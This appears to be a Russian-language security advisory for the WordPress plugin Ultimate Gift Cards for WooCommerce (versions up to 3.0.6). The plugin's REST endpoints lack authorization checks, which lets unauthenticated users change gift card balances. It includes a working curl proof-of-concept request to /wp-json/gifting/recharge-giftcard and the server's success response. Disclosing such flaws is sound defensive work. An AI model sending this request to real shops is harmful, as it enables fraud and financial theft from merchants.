
Ultimate Gift Cards for WooCommerce <= 3.0.6 - Отсутствие авторизации, приводящее к багу бесконечных денег
Ultimate Gift Cards для WooCommerce <= 3.0.6 — отсутствие авторизации и бесконечный денежный глюк
Плагин Ultimate Gift Cards for WooCommerce – Create WooCommerce Gift Cards, Gift Vouchers, Redeem & Manage Digital Gift Coupons. Offer Gift Certificates, Schedule Gift Cards, and Use Advance Coupons With Personalized Templates для WordPress уязвим к несанкционированному изменению данных из-за отсутствия проверки прав доступа в нескольких конечных точках REST API, таких как /wp-json/gifting/recharge-giftcard, во всех версиях до 3.0.6 включительно. Это позволяет неаутентифицированным атакующим пополнять баланс подарочной карты без осуществления платежа, а также уменьшать баланс подарочных карт без приобретения каких-либо товаров.
curl -X POST \
https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
-H 'Content-Type: application/json' \
-d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'
{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}